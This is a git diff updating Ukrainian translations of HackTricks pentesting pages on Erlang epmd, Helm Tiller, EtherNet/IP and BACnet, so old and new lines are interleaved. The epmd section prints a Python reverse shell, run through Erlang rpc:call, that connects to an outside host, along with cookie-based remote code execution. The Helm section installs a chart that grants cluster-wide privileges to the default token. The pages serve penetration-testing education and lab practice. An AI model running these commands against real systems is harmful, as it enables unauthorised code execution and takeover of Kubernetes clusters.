* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Базова інформація
|
||||
# Основна інформація
|
||||
|
||||
**Демон відображення портів Erlang (epmd)** служить координатором для розподілених екземплярів Erlang. Він відповідає за відображення символьних імен вузлів на машинні адреси, забезпечуючи, що кожне ім'я вузла асоційоване з конкретною адресою. Ця роль **epmd** є важливою для безперервної взаємодії та комунікації між різними вузлами Erlang по мережі.
|
||||
**Erlang Port Mapper Daemon (epmd)** слугує координатором для розподілених екземплярів Erlang. Він відповідає за відображення символічних імен вузлів на адреси машин, фактично забезпечуючи, щоб кожне ім'я вузла було пов'язане з конкретною адресою. Ця роль **epmd** є критично важливою для безперебійної взаємодії та комунікації між різними вузлами Erlang через мережу.
|
||||
|
||||
**Порт за замовчуванням**: 4369
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||
```
|
||||
Це використовується за замовчуванням при встановленні RabbitMQ та CouchDB.
|
||||
Це використовується за замовчуванням на установках RabbitMQ та CouchDB.
|
||||
|
||||
# Перелік
|
||||
# Перерахування
|
||||
|
||||
## Ручний
|
||||
## Вручну
|
||||
```bash
|
||||
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
|
||||
|
||||
|
@ -51,11 +52,11 @@ PORT STATE SERVICE VERSION
|
|||
| kazoo_apps: 11500
|
||||
|_ kazoo-rabbitmq: 25672
|
||||
```
|
||||
# Вразливість Erlang Cookie RCE
|
||||
# Erlang Cookie RCE
|
||||
|
||||
## Віддалене підключення
|
||||
## Remote Connection
|
||||
|
||||
Якщо ви зможете **витікати аутентифікаційне печиво**, ви зможете виконати код на хості. Зазвичай це печиво знаходиться в `~/.erlang.cookie` і генерується erlang під час першого запуску. Якщо воно не змінене або не встановлене вручну, це випадковий рядок \[A:Z\] довжиною 20 символів.
|
||||
Якщо ви зможете **витягнути автентифікаційне печиво**, ви зможете виконати код на хості. Зазвичай це печиво знаходиться в `~/.erlang.cookie` і генерується erlang під час першого запуску. Якщо його не змінювали або не встановлювали вручну, це випадковий рядок \[A:Z] довжиною 20 символів.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
|
@ -67,12 +68,12 @@ At last, we can start an erlang shell on the remote system.
|
|||
(test@target.fqdn)1>os:cmd("id").
|
||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||
```
|
||||
Додаткова інформація за посиланням [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Автор також ділиться програмою для перебору куків:
|
||||
Більше інформації на [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Автор також ділиться програмою для брутфорсу куки:
|
||||
|
||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||
|
||||
## Локальне підключення
|
||||
## Локальне з'єднання
|
||||
|
||||
У цьому випадку ми будемо зловживати CouchDB для підвищення привілеїв локально:
|
||||
```bash
|
||||
|
@ -81,8 +82,8 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
|||
"homer\n"
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
Приклад взято з [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Ви можете використовувати **машину Canape HTB** для **практики** того, як **експлуатувати цю вразливість**.
|
||||
Приклад взятий з [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Ви можете використовувати **Canape HTB machine to** **practice** як **використати цю уразливість**.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -94,16 +95,17 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
|
|||
* `port:4369 "на порту"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Базова інформація
|
||||
# Основна інформація
|
||||
|
||||
Helm - це **менеджер пакетів** для Kubernetes. Він дозволяє упаковувати файли YAML та розповсюджувати їх у публічних та приватних репозиторіях. Ці пакети називаються **Helm Charts**. **Tiller** - це **сервіс**, який **запущений** за замовчуванням на порту 44134 та надає цей сервіс.
|
||||
Helm є **менеджером пакетів** для Kubernetes. Він дозволяє пакувати YAML файли та розповсюджувати їх у публічних і приватних репозиторіях. Ці пакети називаються **Helm Charts**. **Tiller** є **сервісом**, що **запускається** за замовчуванням на порту 44134, пропонуючи цю послугу.
|
||||
|
||||
**Порт за замовчуванням:** 44134
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
44134/tcp open unknown
|
||||
```
|
||||
# Перелік
|
||||
# Enumeration
|
||||
|
||||
Якщо ви можете **перелічити підсистеми та/або сервіси** різних просторів імен, перелічіть їх та шукайте ті, у яких є **"tiller" у назві**:
|
||||
Якщо ви можете **перерахувати поди та/або сервіси** різних просторових імен, перераховуйте їх і шукайте ті, що містять **"tiller" у своїй назві**:
|
||||
```bash
|
||||
kubectl get pods | grep -i "tiller"
|
||||
kubectl get services | grep -i "tiller"
|
||||
|
@ -45,24 +46,39 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
|||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||
```
|
||||
Ви також можете спробувати знайти цей сервіс, перевіривши порт 44134:
|
||||
Ви також можете спробувати знайти цю службу, перевіривши порт 44134:
|
||||
```bash
|
||||
sudo nmap -sS -p 44134 <IP>
|
||||
```
|
||||
Після того, як ви виявили його, ви можете спілкуватися з ним, завантаживши клієнтську програму helm. Ви можете використовувати такі інструменти, як `homebrew`, або переглянути [**офіційну сторінку релізів**](https://github.com/helm/helm/releases)**.** Для отримання додаткових відомостей або інших варіантів дивіться [посібник з встановлення](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||||
Якщо ви його виявили, ви можете зв'язатися з ним, завантаживши клієнтський додаток helm. Ви можете використовувати інструменти, такі як `homebrew`, або переглянути [**сторінку офіційних релізів**](https://github.com/helm/helm/releases)**.** Для отримання додаткової інформації або інших варіантів дивіться [посібник з установки](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||||
|
||||
Потім ви можете **перелічити сервіс**:
|
||||
Потім ви можете **перерахувати сервіс**:
|
||||
```
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
## Підвищення привілеїв
|
||||
## Підвищення Привілеїв
|
||||
|
||||
За замовчуванням **Helm2** був встановлений в **просторі імен kube-system** з **високими привілеями**, тому якщо ви знаходите службу і маєте до неї доступ, це може дозволити вам **підвищити привілеї**.
|
||||
За замовчуванням **Helm2** був встановлений у **просторі імен kube-system** з **високими привілеями**, тому якщо ви знайдете сервіс і матимете до нього доступ, це може дозволити вам **підвищити привілеї**.
|
||||
|
||||
Все, що вам потрібно зробити, це встановити пакет, подібний до цього: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), який надасть **токен служби за замовчуванням доступ до всього в усьому кластері**.
|
||||
Все, що вам потрібно зробити, це встановити пакет, подібний до цього: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), який надасть **доступ до всього в усьому кластері для токена сервісу за замовчуванням.**
|
||||
```
|
||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||
/pwnchart
|
||||
```
|
||||
У [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) ви знайдете **пояснення атаки**, але в основному, якщо ви прочитаєте файли [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) та [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) всередині _helm-tiller-pwn/pwnchart/templates/_, ви побачите, як **всі привілеї надаються типовому токену**.
|
||||
В [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) ви знайдете **пояснення атаки**, але в основному, якщо ви прочитаєте файли [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) та [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) всередині _helm-tiller-pwn/pwnchart/templates/_ ви зможете побачити, як **всі привілеї надаються за замовчуванням токену**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Інформація про протокол**
|
||||
|
||||
EtherNet/IP - це **промисловий протокол мережі Ethernet**, який широко використовується в **промислових системах автоматизації управління**. Він був розроблений компанією Rockwell Automation наприкінці 1990-х років і управляється ODVA. Протокол забезпечує **міжвендорну сумісність систем** і використовується в різних застосуваннях, таких як **водні очисні споруди**, **виробничі підприємства** та **комунальні служби**. Для ідентифікації пристрою EtherNet/IP запит відправляється на **TCP/44818** з **повідомленням про ідентифікацію списку (0x63)**.
|
||||
EtherNet/IP є **промисловим протоколом Ethernet**, який зазвичай використовується в **системах автоматизації промислового контролю**. Він був розроблений компанією Rockwell Automation наприкінці 1990-х років і управляється ODVA. Протокол забезпечує **взаємодію систем від різних виробників** і використовується в різних застосуваннях, таких як **водопровідні станції**, **виробничі підприємства** та **комунальні послуги**. Щоб ідентифікувати пристрій EtherNet/IP, запит надсилається на **TCP/44818** з **повідомленням про ідентичності (0x63)**.
|
||||
|
||||
**Порт за замовчуванням:** 44818 UDP/TCP
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
44818/tcp open EtherNet/IP
|
||||
```
|
||||
# **Перелік**
|
||||
# **Перерахування**
|
||||
```bash
|
||||
nmap -n -sV --script enip-info -p 44818 <IP>
|
||||
pip3 install cpppo
|
||||
|
@ -33,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
|
|||
* `port:44818 "назва продукту"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Інформація про протокол
|
||||
|
||||
**BACnet** - це **протокол зв'язку** для мереж автоматизації та керування будівлями (BAC), який використовує стандартний протокол **ASHRAE**, **ANSI** та **ISO 16484-5**. Він сприяє комунікації між системами автоматизації та керування будівлями, дозволяючи застосункам, таким як керування опаленням, керування освітленням, контроль доступу та системи виявлення пожежі, обмінюватися інформацією. BACnet забезпечує взаємодію та дозволяє комп'ютеризованим пристроям автоматизації будівель спілкуватися, незалежно від конкретних послуг, які вони надають.
|
||||
**BACnet** - це **протокол зв'язку** для мереж автоматизації та контролю будівель (BAC), який використовує **ASHRAE**, **ANSI** та **ISO 16484-5 стандарт**. Він полегшує зв'язок між системами автоматизації та контролю будівель, дозволяючи таким застосуванням, як контроль HVAC, контроль освітлення, контроль доступу та системи виявлення пожеж, обмінюватися інформацією. BACnet забезпечує сумісність і дозволяє комп'ютеризованим пристроям автоматизації будівель спілкуватися, незалежно від конкретних послуг, які вони надають.
|
||||
|
||||
**Порт за замовчуванням:** 47808
|
||||
```text
|
||||
PORT STATE SERVICE
|
||||
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
|
||||
```
|
||||
# Перелік
|
||||
# Перерахування
|
||||
|
||||
## Вручну
|
||||
```bash
|
||||
|
@ -50,25 +51,26 @@ print(f"Version: {readDevice[2]}")
|
|||
```bash
|
||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||
```
|
||||
Цей скрипт не намагається приєднатися до мережі BACnet як зовнішній пристрій, він просто надсилає запити BACnet безпосередньо на пристрій з IP-адресою.
|
||||
Цей скрипт не намагається приєднатися до мережі BACnet як іноземний пристрій, він просто надсилає запити BACnet безпосередньо до пристрою з IP-адресою.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:47808 instance`
|
||||
* `"Ідентифікатор екземпляра" "Назва виробника"`
|
||||
* `"Instance ID" "Vendor Name"`
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
